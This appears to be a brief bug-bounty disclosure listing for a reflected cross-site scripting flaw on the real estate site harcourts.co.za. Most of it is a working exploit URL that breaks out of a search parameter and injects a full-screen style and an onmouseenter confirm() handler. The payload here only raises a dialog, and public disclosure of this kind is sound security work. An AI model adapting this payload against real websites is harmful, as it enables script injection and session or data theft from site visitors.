harcourts.co.za XSS vulnerability

Vulnerable URL: http://harcourts.co.za/ext/search/process.do?o==CRH&pmn1;=&pmx1;=&bed1;==+=B==LowestPrice=bc67acf7-067b-43ca-8b21-b5bd81651ecb%22%27%20Style=position:fixed;top:0;left:0;font-size:999px;%20Onmouseenter=confirm/OPENBUGBOUNTY/%20//==1=gallery Details: Description| Value ---|---...